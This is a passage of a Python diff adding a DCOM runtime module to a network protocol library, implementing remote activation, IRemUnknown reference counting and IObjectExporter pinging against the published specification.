+class RemoteGetClassObject(NDRCALL):
+    opnum = 3
+    structure = (
+       ('ORPCthis', ORPCTHIS),
+       ('pActProperties', PMInterfacePointer),
+    )
+
+class RemoteGetClassObjectResponse(NDRCALL):
+    structure = (
+       ('ORPCthat', ORPCTHAT),
+       ('ppActProperties', PMInterfacePointer),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.2.5.2.3.3 IRemoteSCMActivator::RemoteCreateInstance (Opnum 4)
+class RemoteCreateInstance(NDRCALL):
+    opnum = 4
+    structure = (
+       ('ORPCthis', ORPCTHIS),
+       ('pUnkOuter', PMInterfacePointer),
+       ('pActProperties', PMInterfacePointer),
+    )
+
+class RemoteCreateInstanceResponse(NDRCALL):
+    structure = (
+       ('ORPCthat', ORPCTHAT),
+       ('ppActProperties', PMInterfacePointer),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.1.5.6.1.1 IRemUnknown::RemQueryInterface (Opnum 3)
+class RemQueryInterface(DCOMCALL):
+    opnum = 3
+    structure = (
+       ('ripid', REFIPID),
+       ('cRefs', ULONG),
+       ('cIids', USHORT),
+       ('iids', IID_ARRAY),
+    )
+
+class RemQueryInterfaceResponse(DCOMANSWER):
+    structure = (
+       ('ppQIResults', PREMQIRESULT),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.1.5.6.1.2 IRemUnknown::RemAddRef (Opnum 4 )
+class RemAddRef(DCOMCALL):
+    opnum = 4
+    structure = (
+       ('cInterfaceRefs', USHORT),
+       ('InterfaceRefs', REMINTERFACEREF_ARRAY),
+    )
+
+class RemAddRefResponse(DCOMANSWER):
+    structure = (
+       ('pResults', DWORD_ARRAY),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.1.5.6.1.3 IRemUnknown::RemRelease (Opnum 5)
+class RemRelease(DCOMCALL):
+    opnum = 5
+    structure = (
+       ('cInterfaceRefs', USHORT),
+       ('InterfaceRefs', REMINTERFACEREF_ARRAY),
+    )
+
+class RemReleaseResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+################################################################################
+# OPNUMs and their corresponding structures
+################################################################################
+OPNUMS = {
+}
+
+################################################################################
+# HELPER FUNCTIONS
+################################################################################
+class DCOMConnection:
+    """
+    This class represents a DCOM Connection. It is in charge of establishing the 
+    DCE connection against the portmap, and then launch a thread that will be 
+    pinging the objects created against the target.
+    In theory, there should be a single instance of this class for every target
+    """
+    PINGTIMER = None
+    OID_ADD = {}
+    OID_DEL = {}
+    OID_SET = {}
+    PORTMAPS = {}
+
+    def __init__(self, target, username='', password='', domain='', lmhash='', nthash='', aesKey='', TGT=None, TGS=None,
+                 authLevel=RPC_C_AUTHN_LEVEL_PKT_PRIVACY, oxidResolver=False, doKerberos=False, kdcHost=None):
+        self.__target = target
+        self.__userName = username
+        self.__password = password
+        self.__domain = domain
+        self.__lmhash = lmhash
+        self.__nthash = nthash
+        self.__aesKey = aesKey
+        self.__TGT    = TGT
+        self.__TGS    = TGS
+        self.__authLevel = authLevel
+        self.__portmap = None
+        self.__oxidResolver = oxidResolver
+        self.__doKerberos = doKerberos
+        self.__kdcHost = kdcHost
+        self.initConnection()
+
+    @classmethod
+    def addOid(cls, target, oid):
+        if (target in DCOMConnection.OID_ADD) is False:
+            DCOMConnection.OID_ADD[target] = set()
+        DCOMConnection.OID_ADD[target].add(oid)
+        if (target in DCOMConnection.OID_SET) is False:
+            DCOMConnection.OID_SET[target] = {}
+            DCOMConnection.OID_SET[target]['oids'] = set()
+            DCOMConnection.OID_SET[target]['setid'] = 0
+
+    @classmethod
+    def delOid(cls, target, oid):
+        if (target in DCOMConnection.OID_DEL) is False:
+            DCOMConnection.OID_DEL[target] = set()
+        DCOMConnection.OID_DEL[target].add(oid)
+        if (target in DCOMConnection.OID_SET) is False:
+            DCOMConnection.OID_SET[target] = {}
+            DCOMConnection.OID_SET[target]['oids'] = set()
+            DCOMConnection.OID_SET[target]['setid'] = 0
+
+    @classmethod
+    def pingServer(cls):
+        # Here we need to go through all the objects opened and ping them.
+        # ToDo: locking for avoiding race conditions
+        #print DCOMConnection.PORTMAPS
+        #print DCOMConnection.OID_SET
+        try:
+            for target in DCOMConnection.OID_SET:
+                addedOids = set()
+                deletedOids = set()
+                if target in DCOMConnection.OID_ADD:
+                    addedOids = DCOMConnection.OID_ADD[target]
+                    del(DCOMConnection.OID_ADD[target])
+
+                if target in DCOMConnection.OID_DEL:
+                    deletedOids = DCOMConnection.OID_DEL[target]
+                    del(DCOMConnection.OID_DEL[target])
+
+                objExporter = IObjectExporter(DCOMConnection.PORTMAPS[target])
+
+                if len(addedOids) > 0 or len(deletedOids) > 0:
+                    if 'setid' in DCOMConnection.OID_SET[target]:
+                        setId = DCOMConnection.OID_SET[target]['setid']
+                    else:
+                        setId = 0
+                    resp = objExporter.ComplexPing(setId, 0, addedOids, deletedOids)
+                    DCOMConnection.OID_SET[target]['oids'] -= deletedOids
+                    DCOMConnection.OID_SET[target]['oids'] |= addedOids
+                    DCOMConnection.OID_SET[target]['setid'] = resp['pSetId']
+                else:
+                    objExporter.SimplePing(DCOMConnection.OID_SET[target]['setid'])
+        except Exception as e:
+            # There might be exceptions when sending packets 
+            # We should try to continue tho.
+            LOG.error(str(e))
+            pass
+
+        DCOMConnection.PINGTIMER = Timer(120,DCOMConnection.pingServer)
+        try:
+            DCOMConnection.PINGTIMER.start()
+        except Exception as e:
+            if str(e).find('threads can only be started once') < 0:
+                raise e
+
+    def initTimer(self):
+        if self.__oxidResolver is True:
+            if DCOMConnection.PINGTIMER is None:
+                DCOMConnection.PINGTIMER = Timer(120, DCOMConnection.pingServer)
+            try:
+                DCOMConnection.PINGTIMER.start()
+            except Exception as e:
+                if str(e).find('threads can only be started once') < 0:
+                    raise e
+
+    def initConnection(self):
+        stringBinding = r'ncacn_ip_tcp:%s' % self.__target
+        rpctransport = transport.DCERPCTransportFactory(stringBinding)
+
+        if hasattr(rpctransport, 'set_credentials') and len(self.__userName) >=0:
+            # This method exists only for selected protocol sequences.
+            rpctransport.set_credentials(self.__userName, self.__password, self.__domain, self.__lmhash, self.__nthash,
+                                         self.__aesKey, self.__TGT, self.__TGS)
+            rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
+        self.__portmap = rpctransport.get_dce_rpc()
+        self.__portmap.set_auth_level(self.__authLevel)
+        if self.__doKerberos is True:
+            self.__portmap.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
+        self.__portmap.connect()
+        DCOMConnection.PORTMAPS[self.__target] = self.__portmap
+
+    def CoCreateInstanceEx(self, clsid, iid):
+        scm = IRemoteSCMActivator(self.__portmap)
+        iInterface = scm.RemoteCreateInstance(clsid, iid)
+        self.initTimer()
+        return iInterface
+
+    def get_dce_rpc(self):
+        return DCOMConnection.PORTMAPS[self.__target]
+
+    def disconnect(self):
+        if DCOMConnection.PINGTIMER is not None:
+            del(DCOMConnection.PORTMAPS[self.__target])
+            del(DCOMConnection.OID_SET[self.__target])
+            if len(DCOMConnection.PORTMAPS) == 0:
+                # This means there are no more clients using this object, kill it
+                DCOMConnection.PINGTIMER.cancel()
+                DCOMConnection.PINGTIMER.join()
+                DCOMConnection.PINGTIMER = None
+        if self.__target in INTERFACE.CONNECTIONS:
+            del(INTERFACE.CONNECTIONS[self.__target][current_thread().name])
+        self.__portmap.disconnect()
+        #print INTERFACE.CONNECTIONS
+
+class CLASS_INSTANCE:
+    def __init__(self, ORPCthis, stringBinding):
+        self.__stringBindings = stringBinding
+        self.__ORPCthis = ORPCthis
+        self.__authType = RPC_C_AUTHN_WINNT
+        self.__authLevel = RPC_C_AUTHN_LEVEL_PKT_PRIVACY
+    def get_ORPCthis(self):
+        return self.__ORPCthis
+    def get_string_bindings(self):
+        return self.__stringBindings
+    def get_auth_level(self):
+        if RPC_C_AUTHN_LEVEL_NONE < self.__authLevel < RPC_C_AUTHN_LEVEL_PKT_PRIVACY:
+            if self.__authType == RPC_C_AUTHN_WINNT:
+                return RPC_C_AUTHN_LEVEL_PKT_INTEGRITY
+            else:
+                return RPC_C_AUTHN_LEVEL_PKT_PRIVACY
+        return self.__authLevel
+    def set_auth_level(self, level):
+        self.__authLevel = level
+    def get_auth_type(self):
+        return self.__authType
+    def set_auth_type(self, authType):
+        self.__authType = authType
+
+
+class INTERFACE:
+    # class variable holding the transport connections, organized by target IP
+    CONNECTIONS = {}
+
+    def __init__(self, cinstance=None, objRef=None, ipidRemUnknown=None, iPid=None, oxid=None, oid=None, target=None,
+                 interfaceInstance=None):
+        if interfaceInstance is not None:
+            self.__target = interfaceInstance.get_target()
+            self.__iPid = interfaceInstance.get_iPid()
+            self.__oid  = interfaceInstance.get_oid()
+            self.__oxid = interfaceInstance.get_oxid()
+            self.__cinstance = interfaceInstance.get_cinstance()
+            self.__objRef = interfaceInstance.get_objRef()
+            self.__ipidRemUnknown = interfaceInstance.get_ipidRemUnknown()
+        else:
+            if target is None:
+                raise Exception('No target')
+            self.__target = target
+            self.__iPid = iPid
+            self.__oid  = oid
+            self.__oxid = oxid
+            self.__cinstance = cinstance
+            self.__objRef = objRef
+            self.__ipidRemUnknown = ipidRemUnknown
+            # We gotta check if we have a container inside our connection list, if not, create
+            if (self.__target in INTERFACE.CONNECTIONS) is not True:
+                INTERFACE.CONNECTIONS[self.__target] = {}
+                INTERFACE.CONNECTIONS[self.__target][current_thread().name] = {}
+
+            if objRef is not None:
+                self.process_interface(objRef)
+
+    def process_interface(self, data):
+        objRefType = OBJREF(data)['flags']
+        objRef = None
+        if objRefType == FLAGS_OBJREF_CUSTOM:
+            objRef = OBJREF_CUSTOM(data)
+        elif objRefType == FLAGS_OBJREF_HANDLER:
+            objRef = OBJREF_HANDLER(data)
+        elif objRefType == FLAGS_OBJREF_STANDARD:
+            objRef = OBJREF_STANDARD(data)
+        elif objRefType == FLAGS_OBJREF_EXTENDED:
+            objRef = OBJREF_EXTENDED(data)
+        else:
+            LOG.error("Unknown OBJREF Type! 0x%x" % objRefType)
+
+        if objRefType != FLAGS_OBJREF_CUSTOM:
+            if objRef['std']['flags'] & SORF_NOPING == 0:
+                DCOMConnection.addOid(self.__target, objRef['std']['oid'])
+            self.__iPid = objRef['std']['ipid']
+            self.__oid  = objRef['std']['oid']
+            self.__oxid = objRef['std']['oxid']
+            if self.__oxid is None:
+                objRef.dump()
+                raise Exception('OXID is None')
+
+    def get_oxid(self):
+        return self.__oxid
+
+    def set_oxid(self, oxid):
+        self.__oxid = oxid
+
+    def get_oid(self):
+        return self.__oid
+
+    def set_oid(self, oid):
+        self.__oid = oid
+
+    def get_target(self):
+        return self.__target
+
+    def get_iPid(self):
+        return self.__iPid
+
+    def set_iPid(self, iPid):
+        self.__iPid = iPid
+
+    def get_objRef(self):
+        return self.__objRef
+
+    def set_objRef(self, objRef):
+        self.__objRef = objRef
+
+    def get_ipidRemUnknown(self):
+        return self.__ipidRemUnknown
+
+    def get_dce_rpc(self):
+        return INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['dce']
+
+    def get_cinstance(self):
+        return self.__cinstance
+
+    def set_cinstance(self, cinstance):
+        self.__cinstance = cinstance
+
+    def is_fqdn(self):
+        # I will assume the following
+        # If I can't socket.inet_aton() then it's not an IPv4 address
+        # Same for ipv6, but since socket.inet_pton is not available in Windows, I'll look for ':'. There can't be
+        # an FQDN with ':'
+        # Is it isn't both, then it is a FQDN
+        try:
+            socket.inet_aton(self.__target)
+        except:
+            # Not an IPv4
+            try:
+                self.__target.index(':')
+            except:
+                # Not an IPv6, it's a FQDN
+                return True
+        return False
+
+    def connect(self, iid = None):
+        if (self.__target in INTERFACE.CONNECTIONS) is True:
+            if current_thread().name in INTERFACE.CONNECTIONS[self.__target] and \
+                            (self.__oxid in INTERFACE.CONNECTIONS[self.__target][current_thread().name]) is True:
+                dce = INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['dce']
+                currentBinding = INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['currentBinding']
+                if currentBinding == iid:
+                    # We don't need to alter_ctx
+                    pass
+                else:
+                    newDce = dce.alter_ctx(iid)
+                    INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['dce'] = newDce
+                    INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['currentBinding'] = iid
+            else:
+                stringBindings = self.get_cinstance().get_string_bindings()
+                # No OXID present, we should create a new connection and store it
+                stringBinding = None
+                isTargetFQDN = self.is_fqdn()
+                LOG.debug('Target system is %s and isFQDN is %s' % (self.get_target(), isTargetFQDN))
+                for strBinding in stringBindings:
+                    # Here, depending on the get_target() value several things can happen
+                    # 1) it's an IPv4 address
+                    # 2) it's an IPv6 address
+                    # 3) it's a NetBios Name
+                    # we should handle all this cases accordingly
+                    # Does this match exactly what get_target() returns?
+                    LOG.debug('StringBinding: %s' % strBinding['aNetworkAddr'])
+                    if strBinding['wTowerId'] == 7:
+                        # If there's port information, let's strip it for now.
+                        if strBinding['aNetworkAddr'].find('[') >= 0:
+                            binding, _, bindingPort = strBinding['aNetworkAddr'].partition('[')
+                            bindingPort = '[' + bindingPort
+                        else:
+                            binding = strBinding['aNetworkAddr']
+                            bindingPort = ''
+
+                        if binding.upper().find(self.get_target().upper()) >= 0:
+                            stringBinding = 'ncacn_ip_tcp:' + strBinding['aNetworkAddr'][:-1]
+                            break
+                        # If get_target() is a FQDN, does it match the hostname?
+                        elif isTargetFQDN and binding.upper().find(self.get_target().upper().partition('.')[0]) >= 0:
+                            # Here we replace the aNetworkAddr with self.get_target()
+                            # This is to help resolving the target system name.
+                            # self.get_target() has been resolved already otherwise we wouldn't be here whereas
+                            # aNetworkAddr is usually the NetBIOS name and unless you have your DNS resolver
+                            # with the right suffixes it will probably not resolve right.
+                            stringBinding = 'ncacn_ip_tcp:%s%s' % (self.get_target(), bindingPort)
+                            break
+
+                LOG.debug('StringBinding chosen: %s' % stringBinding)
+                if stringBinding is None:
+                    # Something wen't wrong, let's just report it
+                    raise Exception('Can\'t find a valid stringBinding to connect')
+
+                dcomInterface = transport.DCERPCTransportFactory(stringBinding)
+                if hasattr(dcomInterface, 'set_credentials'):
+                    # This method exists only for selected protocol sequences.
+                    dcomInterface.set_credentials(*DCOMConnection.PORTMAPS[self.__target].get_credentials())
+                    dcomInterface.set_kerberos(DCOMConnection.PORTMAPS[self.__target].get_rpc_transport().get_kerberos(),
+                                               DCOMConnection.PORTMAPS[self.__target].get_rpc_transport().get_kdcHost())
+                dcomInterface.set_connect_timeout(300)
+                dce = dcomInterface.get_dce_rpc()
+
+                if iid is None:
+                    raise Exception('IID is None')
+                else:
+                    dce.set_auth_level(self.__cinstance.get_auth_level())
+                    dce.set_auth_type(self.__cinstance.get_auth_type())
+
+                dce.connect()
+
+                if iid is None:
+                    raise Exception('IID is None')
+                else:
+                    dce.bind(iid)
+
+                if self.__oxid is None:
+                    #import traceback
+                    #traceback.print_stack()
+                    raise Exception("OXID NONE, something wrong!!!")
+
+                INTERFACE.CONNECTIONS[self.__target][current_thread().name] = {}
+                INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid] = {}
+                INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['dce'] = dce
+                INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['currentBinding'] = iid
+        else:
+            # No connection created
+            raise Exception('No connection created')
+
+    def request(self, req, iid = None, uuid = None):
+        req['ORPCthis'] = self.get_cinstance().get_ORPCthis()
+        req['ORPCthis']['flags'] = 0
+        self.connect(iid)
+        dce = self.get_dce_rpc()
+        try:
+            resp = dce.request(req, uuid)
+        except Exception as e:
+            if str(e).find('RPC_E_DISCONNECTED') >= 0:
+                msg = str(e) + '\n'
+                msg += "DCOM keep-alive pinging it might not be working as expected. You can't be idle for more than 14 minutes!\n"
+                msg += "You should exit the app and start again\n"
+                raise DCERPCException(msg)
+            else:
+                raise
+        return resp
+
+    def disconnect(self):
+        return INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['dce'].disconnect()
+
+
+# 3.1.1.5.6.1 IRemUnknown Methods
+class IRemUnknown(INTERFACE):
+    def __init__(self, interface):
+        self._iid = IID_IRemUnknown
+        #INTERFACE.__init__(self, interface.get_cinstance(), interface.get_objRef(), interface.get_ipidRemUnknown(),
+        #                   interface.get_iPid(), target=interface.get_target())
+        INTERFACE.__init__(self, interfaceInstance=interface)
+        self.set_oxid(interface.get_oxid())
+
+    def RemQueryInterface(self, cRefs, iids):
+        # For now, it only supports a single IID
+        request = RemQueryInterface()
+        request['ORPCthis'] = self.get_cinstance().get_ORPCthis()
+        request['ORPCthis']['flags'] = 0
+        request['ripid'] = self.get_iPid()
+        request['cRefs'] = cRefs
+        request['cIids'] = len(iids)
+        for iid in iids:
+            _iid = IID()
+            _iid['Data'] = iid
+            request['iids'].append(_iid)
+        resp = self.request(request, IID_IRemUnknown, self.get_ipidRemUnknown())
+        #resp.dump()
+
+        return IRemUnknown2(
+            INTERFACE(self.get_cinstance(), None, self.get_ipidRemUnknown(), resp['ppQIResults']['std']['ipid'],
+                      oxid=resp['ppQIResults']['std']['oxid'], oid=resp['ppQIResults']['std']['oxid'],
+                      target=self.get_target()))
+
+    def RemAddRef(self):
+        request = RemAddRef()
+        request['ORPCthis'] = self.get_cinstance().get_ORPCthis()
+        request['ORPCthis']['flags'] = 0
+        request['cInterfaceRefs'] = 1
+        element = REMINTERFACEREF()
+        element['ipid'] = self.get_iPid()
+        element['cPublicRefs'] = 1
+        request['InterfaceRefs'].append(element)
+        resp = self.request(request, IID_IRemUnknown, self.get_ipidRemUnknown())
+        return resp
+
+    def RemRelease(self):
+        request = RemRelease()
+        request['ORPCthis'] = self.get_cinstance().get_ORPCthis()
+        request['ORPCthis']['flags'] = 0
+        request['cInterfaceRefs'] = 1
+        element = REMINTERFACEREF()
+        element['ipid'] = self.get_iPid()
+        element['cPublicRefs'] = 1
+        request['InterfaceRefs'].append(element)
+        resp = self.request(request, IID_IRemUnknown, self.get_ipidRemUnknown())
+        DCOMConnection.delOid(self.get_target(), self.get_oid())
+        return resp
+
+# 3.1.1.5.7 IRemUnknown2 Interface
+class IRemUnknown2(IRemUnknown):
+    def __init__(self, interface):
+        IRemUnknown.__init__(self, interface)
+        self._iid = IID_IRemUnknown2
+
+# 3.1.2.5.1 IObjectExporter Methods
+class IObjectExporter:
+    def __init__(self, dce):
+        self.__portmap = dce
+
+    # 3.1.2.5.1.1 IObjectExporter::ResolveOxid (Opnum 0)
+    def ResolveOxid(self, pOxid, arRequestedProtseqs):
+        self.__portmap.connect()
+        self.__portmap.bind(IID_IObjectExporter)
+        request = ResolveOxid()
+        request['pOxid'] = pOxid
+        request['cRequestedProtseqs'] = len(arRequestedProtseqs)
+        for protSeq in arRequestedProtseqs:
+            request['arRequestedProtseqs'].append(protSeq)
+        resp = self.__portmap.request(request)
+        Oxids = b''.join(pack('<H', x) for x in resp['ppdsaOxidBindings']['aStringArray'])
+        strBindings = Oxids[:resp['ppdsaOxidBindings']['wSecurityOffset']*2]
+
+        done = False
+        stringBindings = list()
+        while not done:
+            if strBindings[0:1] == b'\x00' and strBindings[1:2] == b'\x00':
+                done = True
+            else:
+                binding = STRINGBINDING(strBindings)
+                stringBindings.append(binding)
+                strBindings = strBindings[len(binding):]
+
+        return stringBindings
+
+    # 3.1.2.5.1.2 IObjectExporter::SimplePing (Opnum 1)
+    def SimplePing(self, setId):
+        self.__portmap.connect()
+        self.__portmap.bind(IID_IObjectExporter)
+        request = SimplePing()
+        request['pSetId'] = setId
+        resp = self.__portmap.request(request)
+        return resp
+
+    # 3.1.2.5.1.3 IObjectExporter::ComplexPing (Opnum 2)
+    def ComplexPing(self, setId = 0, sequenceNum = 0, addToSet = [], delFromSet = []):
+        self.__portmap.connect()
+        #self.__portmap.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
+        self.__portmap.bind(IID_IObjectExporter)
+        request = ComplexPing()
+        request['pSetId'] = setId
+        request['SequenceNum'] = setId
+        request['cAddToSet'] = len(addToSet)
+        request['cDelFromSet'] = len(delFromSet)
+        if len(addToSet) > 0:
+            for oid in addToSet:
+                oidn = OID()
+                oidn['Data'] = oid
+                request['AddToSet'].append(oidn)
+        else:
+            request['AddToSet'] = NULL
+
+        if len(delFromSet) > 0:
+            for oid in delFromSet:
+                oidn = OID()
+                oidn['Data'] = oid
+                request['DelFromSet'].append(oidn)
+        else:
+            request['DelFromSet'] = NULL
+        resp = self.__portmap.request(request)
+        return resp
+
+    # 3.1.2.5.1.4 IObjectExporter::ServerAlive (Opnum 3)
+    def ServerAlive(self):
+        self.__portmap.connect()
+        self.__portmap.bind(IID_IObjectExporter)
+        request = ServerAlive()
+        resp = self.__portmap.request(request)
+        return resp
+
+    # 3.1.2.5.1.5 IObjectExporter::ResolveOxid2 (Opnum 4)
+    def ResolveOxid2(self,pOxid, arRequestedProtseqs):
+        self.__portmap.connect()
+        self.__portmap.bind(IID_IObjectExporter)
+        request = ResolveOxid2()
+        request['pOxid'] = pOxid
+        request['cRequestedProtseqs'] = len(arRequestedProtseqs)
+        for protSeq in arRequestedProtseqs:
+            request['arRequestedProtseqs'].append(protSeq)
+        resp = self.__portmap.request(request)
+        Oxids = b''.join(pack('<H', x) for x in resp['ppdsaOxidBindings']['aStringArray'])
+        strBindings = Oxids[:resp['ppdsaOxidBindings']['wSecurityOffset']*2]
+
+        done = False
+        stringBindings = list()
+        while not done:
+            if strBindings[0:1] == b'\x00' and strBindings[1:2] == b'\x00':
+                done = True
+            else:
+                binding = STRINGBINDING(strBindings)
+                stringBindings.append(binding)
+                strBindings = strBindings[len(binding):]
+
+        return stringBindings
+
+    # 3.1.2.5.1.6 IObjectExporter::ServerAlive2 (Opnum 5)
+    def ServerAlive2(self):
+        self.__portmap.connect()
+        self.__portmap.bind(IID_IObjectExporter)
+        request = ServerAlive2()
+        resp = self.__portmap.request(request)
+
+        Oxids = b''.join(pack('<H', x) for x in resp['ppdsaOrBindings']['aStringArray'])
+        strBindings = Oxids[:resp['ppdsaOrBindings']['wSecurityOffset']*2]
+
+        done = False
+        stringBindings = list()
+        while not done:
+            if strBindings[0:1] == b'\x00' and strBindings[1:2] == b'\x00':
+                done = True
+            else:
+                binding = STRINGBINDING(strBindings)
+                stringBindings.append(binding)
+                strBindings = strBindings[len(binding):]
+
+        return stringBindings
+
+# 3.1.2.5.2.1 IActivation Methods
+class IActivation:
+    def __init__(self, dce):
+        self.__portmap = dce
+
+    # 3.1.2.5.2.3.1 IActivation:: RemoteActivation (Opnum 0)
+    def RemoteActivation(self, clsId, iid):
+        # Only supports one interface at a time
+        self.__portmap.bind(IID_IActivation)
+        ORPCthis = ORPCTHIS()
+        ORPCthis['cid'] = generate()
+        ORPCthis['extensions'] = NULL
+        ORPCthis['flags'] = 1
+
+        request = RemoteActivation()
+        request['Clsid'] = clsId
+        request['pwszObjectName'] = NULL
+        request['pObjectStorage'] = NULL
+        request['ClientImpLevel'] = 2
+        request['Mode'] = 0
+        request['Interfaces'] = 1
+
+        _iid = IID()
+        _iid['Data'] = iid
+
+        request['pIIDs'].append(_iid)
+        request['cRequestedProtseqs'] = 1
+        request['aRequestedProtseqs'].append(7)
+
+        resp = self.__portmap.request(request)
+
+        # Now let's parse the answer and build an Interface instance
+
+        ipidRemUnknown = resp['pipidRemUnknown']
+
+        Oxids = b''.join(pack('<H', x) for x in resp['ppdsaOxidBindings']['aStringArray'])
+        strBindings = Oxids[:resp['ppdsaOxidBindings']['wSecurityOffset']*2]
+        securityBindings = Oxids[resp['ppdsaOxidBindings']['wSecurityOffset']*2:]
+
+        done = False
+        stringBindings = list()
+        while not done:
+            if strBindings[0:1] == b'\x00' and strBindings[1:2] == b'\x00':
+                done = True
+            else:
+                binding = STRINGBINDING(strBindings)
+                stringBindings.append(binding)
+                strBindings = strBindings[len(binding):]
+
+        done = False
+        while not done:
+            if len(securityBindings) < 2:
+                done = True
+            elif securityBindings[0:1] == b'\x00' and securityBindings[1:2 ]== b'\x00':
+                done = True
+            else:
+                secBinding = SECURITYBINDING(securityBindings)
+                securityBindings = securityBindings[len(secBinding):]
+
+        classInstance = CLASS_INSTANCE(ORPCthis, stringBindings)
+        return IRemUnknown2(INTERFACE(classInstance, b''.join(resp['ppInterfaceData'][0]['abData']), ipidRemUnknown,
+                                      target=self.__portmap.get_rpc_transport().getRemoteHost()))
+
+
+# 3.1.2.5.2.2 IRemoteSCMActivator Methods
+class IRemoteSCMActivator:
+    def __init__(self, dce):
+        self.__portmap = dce
+
+    def RemoteGetClassObject(self, clsId, iid):
+        #  iid should be IID_IClassFactory
+        self.__portmap.bind(IID_IRemoteSCMActivator)
+        ORPCthis = ORPCTHIS()
+        ORPCthis['cid'] = generate()
+        ORPCthis['extensions'] = NULL
+        ORPCthis['flags'] = 1
+
+        request = RemoteGetClassObject()
+        request['ORPCthis'] = ORPCthis
+        activationBLOB = ACTIVATION_BLOB()
+        activationBLOB['CustomHeader']['destCtx'] = 2
+        activationBLOB['CustomHeader']['pdwReserved'] = NULL
+        clsid = CLSID()
+        clsid['Data'] = CLSID_InstantiationInfo
+        activationBLOB['CustomHeader']['pclsid'].append(clsid)
+        clsid = CLSID()
+        clsid['Data'] = CLSID_ActivationContextInfo
+        activationBLOB['CustomHeader']['pclsid'].append(clsid)
+        clsid = CLSID()
+        clsid['Data'] = CLSID_ServerLocationInfo
+        activationBLOB['CustomHeader']['pclsid'].append(clsid)
+        clsid = CLSID()
+        clsid['Data'] = CLSID_ScmRequestInfo
+        activationBLOB['CustomHeader']['pclsid'].append(clsid)
+
+        properties = b''
+        # InstantiationInfo
+        instantiationInfo = InstantiationInfoData()
+        instantiationInfo['classId'] = clsId
+        instantiationInfo['cIID'] = 1
+
+        _iid = IID()
+        _iid['Data'] = iid
+
+        instantiationInfo['pIID'].append(_iid)
+
+        dword = DWORD()
+        marshaled = instantiationInfo.getData()+instantiationInfo.getDataReferents()
+        pad = (8 - (len(marshaled) % 8)) % 8
+        dword['Data'] = len(marshaled) + pad
+        activationBLOB['CustomHeader']['pSizes'].append(dword)
+        instantiationInfo['thisSize'] = dword['Data']
+
+        properties += marshaled + b'\xFA'*pad
+
+        # ActivationContextInfoData
+        activationInfo = ActivationContextInfoData()
+        activationInfo['pIFDClientCtx'] = NULL
+        activationInfo['pIFDPrototypeCtx'] = NULL
+
+        dword = DWORD()
+        marshaled = activationInfo.getData()+activationInfo.getDataReferents()
+        pad = (8 - (len(marshaled) % 8)) % 8
+        dword['Data'] = len(marshaled) + pad
+        activationBLOB['CustomHeader']['pSizes'].append(dword)
+
+        properties += marshaled + b'\xFA'*pad
+
+        # ServerLocation
+        locationInfo = LocationInfoData()
+        locationInfo['machineName'] = NULL
+
+        dword = DWORD()
+        dword['Data'] = len(locationInfo.getData())
+        activationBLOB['CustomHeader']['pSizes'].append(dword)
+
+        properties += locationInfo.getData()+locationInfo.getDataReferents()
+
+        # ScmRequestInfo
+        scmInfo = ScmRequestInfoData()
+        scmInfo['pdwReserved'] = NULL
+        #scmInfo['remoteRequest']['ClientImpLevel'] = 2
+        scmInfo['remoteRequest']['cRequestedProtseqs'] = 1
+        scmInfo['remoteRequest']['pRequestedProtseqs'].append(7)
+
+        dword = DWORD()
+        marshaled = scmInfo.getData()+scmInfo.getDataReferents()
+        pad = (8 - (len(marshaled) % 8)) % 8
+        dword['Data'] = len(marshaled) + pad
+        activationBLOB['CustomHeader']['pSizes'].append(dword)
+
+        properties += marshaled + b'\xFA'*pad
+
+        activationBLOB['Property'] = properties
+
+
+        objrefcustom = OBJREF_CUSTOM()
+        objrefcustom['iid'] = IID_IActivationPropertiesIn[:-4]
+        objrefcustom['clsid'] = CLSID_ActivationPropertiesIn
+
+        objrefcustom['pObjectData'] = activationBLOB.getData()
+        objrefcustom['ObjectReferenceSize'] = len(objrefcustom['pObjectData'])+8
+
+        request['pActProperties']['ulCntData'] = len(objrefcustom.getData())
+        request['pActProperties']['abData'] = list(objrefcustom.getData())
+        resp = self.__portmap.request(request)
+        # Now let's parse the answer and build an Interface instance
+
+        objRefType = OBJREF(b''.join(resp['ppActProperties']['abData']))['flags']
+        objRef = None
+        if objRefType == FLAGS_OBJREF_CUSTOM:
+            objRef = OBJREF_CUSTOM(b''.join(resp['ppActProperties']['abData']))
+        elif objRefType == FLAGS_OBJREF_HANDLER:
+            objRef = OBJREF_HANDLER(b''.join(resp['ppActProperties']['abData']))
+        elif objRefType == FLAGS_OBJREF_STANDARD:
+            objRef = OBJREF_STANDARD(b''.join(resp['ppActProperties']['abData']))
+        elif objRefType == FLAGS_OBJREF_EXTENDED:
+            objRef = OBJREF_EXTENDED(b''.join(resp['ppActProperties']['abData']))
+        else:
+            LOG.error("Unknown OBJREF Type! 0x%x" % objRefType)
+
+
+        activationBlob = ACTIVATION_BLOB(objRef['pObjectData'])
+
+        propOutput = activationBlob['Property'][:activationBlob['CustomHeader']['pSizes'][0]['Data']]
+        scmReply = activationBlob['Property'][
+                   activationBlob['CustomHeader']['pSizes'][0]['Data']:activationBlob['CustomHeader']['pSizes'][0]['Data'] +
+                                                                       activationBlob['CustomHeader']['pSizes'][1]['Data']]
+
+        scmr = ScmReplyInfoData()
+        size = scmr.fromString(scmReply)
+        # Processing the scmReply
+        scmr.fromStringReferents(scmReply[size:])
+        ipidRemUnknown = scmr['remoteReply']['ipidRemUnknown']
+        Oxids = b''.join(pack('<H', x) for x in scmr['remoteReply']['pdsaOxidBindings']['aStringArray'])
+        strBindings = Oxids[:scmr['remoteReply']['pdsaOxidBindings']['wSecurityOffset']*2]
